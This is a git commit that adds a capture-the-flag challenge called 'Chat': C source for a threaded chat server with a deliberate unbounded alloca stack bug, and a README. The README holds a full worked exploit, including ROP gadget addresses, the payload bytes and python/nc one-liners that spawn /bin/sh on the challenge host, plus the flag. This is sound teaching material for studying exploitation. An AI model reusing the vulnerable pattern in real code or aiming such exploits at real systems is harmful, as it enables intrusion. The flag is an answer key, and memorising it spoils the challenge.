aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--README.md134
-rwxr-xr-xchatbin0 -> 787916 bytes
-rw-r--r--chat.c220
3 files changed, 354 insertions, 0 deletions
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..a02cce3
--- /dev/null
+++ b/README.md
@@ -0,0 +1,134 @@
+Chat
+====
+
+# Author
+n0p
+
+# Challenge Text
+To coordinate our efforts for a better future we started to build a chat program. While it doesn't have much functionality, yet, maybe you could have a look at it already to see if you can find any serious vulnerabilities. You know, better save than sorry!<br>
+<br>
+<code>nc chat.forfuture.fluxfingers.net 1337</code>
+
+# Challenge Idea
+[ROP/Etc. in the stack of another thread.](https://blog.exodusintel.com/2013/01/07/who-was-phone/)
+
+# Setup
+
+Compiling the Sources:
+```
+clang -no-pie -static chat.c -lpthread -ochat -Wl,-z,now -Wl,-z,relro
+strip -g chat
+```
+
+Docker from:
+```
+FROM i386/alpine
+```
+
+Docker entrypoint:
+```
+ENTRYPOINT ["/usr/bin/socat", "-t5", "-T60", "tcp-listen:1337,max-children=50,reuseaddr,fork", "exec:./chat,pty,raw,stderr,echo=0"]
+```
+
+# Solution
+Idea:
+
+* There is enough space in the command variable to place the string '/bin/sh', argv, and envp in the bss section.
+* Create two channels and allocate enough memory with `alloca` via the echo command in the first channel to write to the stack of the second channel.
+* ROP to execve.
+
+```
+# create channel 1
+/nc\n
+# pause channel 1 and return to command channel
+/pc\n
+
+# create channel 2
+/nc\n
+# pause channel 2 and return to command channel
+/pc\n
+
+# join channel 1 again
+/jc 1\n
+
+# echo a message
+/e\n
+# length of the message is 250000 -> we write to the stack of channel 2
+# + 2 NULL bytes (two because I like 0xC more than 0xB) + '/bin/sh' + NULL byte + addr of '/bin/sh' string in command + NULL dword
+250000\0\0/bin/sh\x00\x8c\x73\x0f\x08\x00\x00\x00\x00\n
+# send rop code
+\x00\x00\x00\x00\x40\x74\x0f\x08\x34\x74\x0f\x08\x1e\x90\x04\x08\x2c\x74\x0f\x08\xf6\x1c\x05\x08\x0b\x00\x00\x00\xd0\xd3\x07\x08\n
+
+# terminate channel 1
+/qc\n
+
+# join channel 2
+/jc 2\n
+```
+
+The function who's return address gets overwritten is `__kernel_vsyscall`:
+```
+ → 0xf7ffdb20 <__kernel_vsyscall+0> push ecx
+ 0xf7ffdb21 <__kernel_vsyscall+1> push edx
+ 0xf7ffdb22 <__kernel_vsyscall+2> push ebp
+ 0xf7ffdb23 <__kernel_vsyscall+3> mov ebp, esp
+ 0xf7ffdb25 <__kernel_vsyscall+5> sysenter
+ 0xf7ffdb27 <__kernel_vsyscall+7> int 0x80
+```
+This function is called at address 0x08079004 in poll:
+```
+.text:08078FE8 loc_8078FE8: ; CODE XREF: poll+19↑j
+.text:08078FE8 mov [esp+1Ch+var_10], edx
+.text:08078FEC mov [esp+1Ch+var_14], ecx
+.text:08078FF0 call __libc_enable_asynccancel
+.text:08078FF5 mov ecx, [esp+1Ch+var_14]
+.text:08078FF9 mov edx, [esp+1Ch+var_10]
+.text:08078FFD mov esi, eax
+.text:08078FFF mov eax, 0A8h
+.text:08079004 call large dword ptr gs:10h
+.text:0807900B cmp eax, 0FFFFF000h
+.text:08079010 ja short loc_807903A
+```
+
+As one can see, the registers ecx and edx are pushed at the beginning of `__kernel_vsyscall`. Therefore, we can set ecx and edx conveniently due to `__kernel_vsyscall`'s pops of these registers before its return.
+
+ROP dissected:
+```
+# ebp
+\x00\x00\x00\x00
+
+# edx -> envp points to NULL dword in command buffer -> envp = [NULL]
+\x98\x73\x0f\x08
+
+# ecx -> argv points in command buffer -> argv = ["/bin/sh", NULL]
+\x94\x73\x0f\x08
+
+# ret -> 0x0804901e : pop ebx ; ret
+\x1e\x90\x04\x08
+# ebx -> addr of nick with '/bin/sh'
+\x8c\x73\x0f\x08
+
+# ret -> 0x08051cf6 : pop eax ; ret
+\xf6\x1c\x05\x08
+# eax -> shell code number
+\x0b\x00\x00\x00
+
+# ret -> 0x0807D3D0 : int 0x80 ; retn (_dl_sysinfo_int80)
+\xd0\xd3\x07\x08
+```
+
+This results in these commands:
+```
+(python2 -c "print '/nc\n/pc\n/nc\n/pc\n/jc 1\n/e\n250000\0\0/bin/sh\x00\x8c\x73\x0f\x08\x00\x00\x00\x00\n\x00\x00\x00\x00\x98\x73\x0f\x08\x94\x73\x0f\x08\x1e\x90\x04\x08\x8c\x73\x0f\x08\xf6\x1c\x05\x08\x0b\x00\x00\x00\xd0\xd3\x07\x08\n/qc\n/jc 2\n'"; cat - ) | ./chat
+```
+```
+(python2 -c "print '/nc\n/pc\n/nc\n/pc\n/jc 1\n/e\n250000\0\0/bin/sh\x00\x8c\x73\x0f\x08\x00\x00\x00\x00\n\x00\x00\x00\x00\x98\x73\x0f\x08\x94\x73\x0f\x08\x1e\x90\x04\x08\x8c\x73\x0f\x08\xf6\x1c\x05\x08\x0b\x00\x00\x00\xd0\xd3\x07\x08\n/qc\n/jc 2\n'"; cat - ) | nc chat.forfuture.fluxfingers.net 1337
+```
+
+Apparently, the remote solution required `execve('/bin/sh', ["/bin/sh", NULL], [NULL])` and didn't accept `execve('/bin/sh', [NULL], [NULL])`. However, this text book solution had the first execve to begin with and the requirement hasn't been noticed in time.
+
+# Difficulty
+Easy
+
+# Flag
+flag{thread_chat_with_alloca} \ No newline at end of file
diff --git a/chat b/chat
new file mode 100755
index 0000000..3e086eb
--- /dev/null
+++ b/chat
Binary files differ
diff --git a/chat.c b/chat.c
new file mode 100644
index 0000000..dafcaf3
--- /dev/null
+++ b/chat.c
@@ -0,0 +1,220 @@
+// clang -no-pie -static chat.c -lpthread -ochat -Wl,-z,now -Wl,-z,relro
+// strip -g chat
+
+#include <poll.h>
+#include <pthread.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+
+#define MAXCHANNELS 5
+
+static int cpipe[2];
+
+static pthread_t channels[MAXCHANNELS];
+static int active[MAXCHANNELS] = {0};
+static int pipes[MAXCHANNELS][2];
+
+static bool quit = false;
+
+#define QUIT_CHANNEL(x) do { \
+ active[x] = 2; \
+ return NULL; \
+ } while (0);
+
+static char command[32] = {0};
+
+
+static int wait_loop(bool is_command_channel, int channel) {
+ struct pollfd pfd;
+ if (is_command_channel) {
+ pfd.fd = cpipe[0];
+ } else {
+ pfd.fd = pipes[channel][0];
+ }
+ pfd.events = POLLIN;
+
+ if (is_command_channel && channel != -1) {
+ write(pipes[channel][1], "c", 1);
+ } else if (!is_command_channel) {
+ write(cpipe[1], "c", 1);
+ }
+
+ while (1) {
+ int ret;
+ if ((ret = poll(&pfd, 1, 1000)) == -1) {
+ // error
+ return 1;
+ } else if (ret == 0) {
+ // timeout
+ if (quit == true) {
+ return 1;
+ }
+ continue;
+ }
+
+ char c;
+ if (is_command_channel) {
+ read(cpipe[0], &c, 1);
+ } else {
+ read(pipes[channel][0], &c, 1);
+ }
+ break;
+ }
+
+ return 0;
+}
+
+static void chat_channel_help() {
+ printf("Chat Commands:\n"
+ "\t/e\t- Echo - The first line following this command specifies the number of characters to echo.\n"
+ "\t/pc\t- Pause Chat Channel - Return to Command Channel. The Chat Channel stays open.\n"
+ "\t/qc\t- Quit Chat Channel - Return to Command Channel. The Chat Channel is terminated.\n"
+ "\t/h\t- Help - Print this help message.\n"
+ "That's all for now :/\n");
+}
+
+static void *chat_channel_handler(void * arg) {
+ int channel = (int) arg;
+
+ if (pipe(pipes[channel]) == -1) {
+ printf("Chat Channel Creation Failed: Pipes\n");
+ QUIT_CHANNEL(channel);
+ }
+
+ printf("Chat Channel %d:\n", channel+1);
+
+ while (1) {
+ printf("> ");
+
+ if(!fgets(command, 32, stdin)) {
+ QUIT_CHANNEL(channel);
+ }
+
+ if (strlen(command) == 3 && command[0] == '/' && command[1] == 'e') {
+ if(!fgets(command, 32, stdin)) {
+ printf("Chat Command Error: Reading Echo Size\n");
+ }
+
+ int length = atoi(command) + 1;
+ char *line = (char *)alloca(length);
+
+ if (!fgets(line, length, stdin)) {
+ QUIT_CHANNEL(channel);
+ }
+
+ write(1, line, strlen(line));
+ write(1, "\n", 1);
+ } else if (strlen(command) == 4 && command[0] == '/' && command[1] == 'p' && command[2] == 'c') {
+ if (wait_loop(false, channel)) {
+ QUIT_CHANNEL(channel);
+ }
+
+ printf("Chat Channel %d:\n", channel+1);
+ } else if (strlen(command) == 4 && command[0] == '/' && command[1] == 'q' && command[2] == 'c') {
+ write(cpipe[1], "c", 1);
+ QUIT_CHANNEL(channel);
+ } else if (strlen(command) == 3 && command[0] == '/' && command[1] == 'h') {
+ chat_channel_help();
+ }
+ }
+}
+
+static void command_channel_help() {
+ printf("Command Commands:\n"
+ "\t/nc\t- New Chat Channel - Create and join a new Chat Channel.\n"
+ "\t/jc x\t- Join Chat Channel - Join the Chat Channel number x.\n"
+ "\t/lc\t- List Chat Channels - Lists the Chat Channels.\n"
+ "\t/q\t- Quit - Quit this awesome chat program.\n"
+ "\t/h\t- Help - Print this help message.\n");
+}
+
+int main() {
+ if (pipe(cpipe) == -1) {
+ return 1;
+ }
+
+ printf("Command Channel:\n");
+
+ while (1) {
+ printf("> ");
+
+ if(!fgets(command, 32, stdin)) {
+ return 1;
+ }
+
+ if (strlen(command) == 4 && command[0] == '/' && command[1] == 'n' && command[2] == 'c') {
+ int channel = -1;
+ for (int i = 0; i < MAXCHANNELS; i++) {
+ if (active[i] == 0) {
+ channel = i;
+ break;
+ }
+ }
+
+ if (channel == -1) {
+ printf("Chat Channel Creation Failed: No channel slots left\n");
+ } else {
+ pthread_attr_t attr;
+ pthread_attr_init(&attr);
+ pthread_attr_setstacksize(&attr, 0x3C000);
+
+ pthread_create(&channels[channel], &attr, chat_channel_handler, (void *)channel);
+ active[channel] = 1;
+
+ wait_loop(true, -1);
+ printf("Command Channel:\n");
+ }
+ } else if (command[0] == '/' && command[1] == 'j' && command[2] == 'c' && command[3] == ' ') {
+ printf("Joining Chat Channel.\n");
+
+ int channel = atoi(command + 4) - 1;
+
+ if (0 <= channel && channel < MAXCHANNELS && active[channel] == 1) {
+ wait_loop(true, channel);
+ printf("Command Channel:\n");
+ } else {
+ printf("Invalid Chat Channel number.\n");
+ }
+ } else if (strlen(command) == 4 && command[0] == '/' && command[1] == 'l' && command[2] == 'c') {
+ printf("Chat Channels:\n");
+
+ for (int i = 0; i < MAXCHANNELS; i++) {
+ if (active[i] == 1) {
+ printf("\tChat Channel %d\n", i+1);
+ }
+ }
+ } else if (strlen(command) == 3 && command[0] == '/' && command[1] == 'q') {
+ printf("Quitting.\n");
+ quit = true;
+ break;
+ } else if (strlen(command) == 3 && command[0] == '/' && command[1] == 'h') {
+ command_channel_help();
+ } else {
+ printf("Invalid command.\n");
+ }
+
+ for (int i = 0; i < MAXCHANNELS; i++) {
+ if (active[i] == 2) {
+ pthread_join(channels[i], NULL);
+ close(pipes[i][0]);
+ close(pipes[i][1]);
+ active[i] = 0;
+ }
+ }
+ }
+
+ for (int i = 0; i < MAXCHANNELS; i++) {
+ if (active[i] == 1 || active[i] == 2) {
+ pthread_join(channels[i], NULL);
+ }
+ }
+
+ close(cpipe[0]);
+ close(cpipe[1]);
+
+ return 0;
+}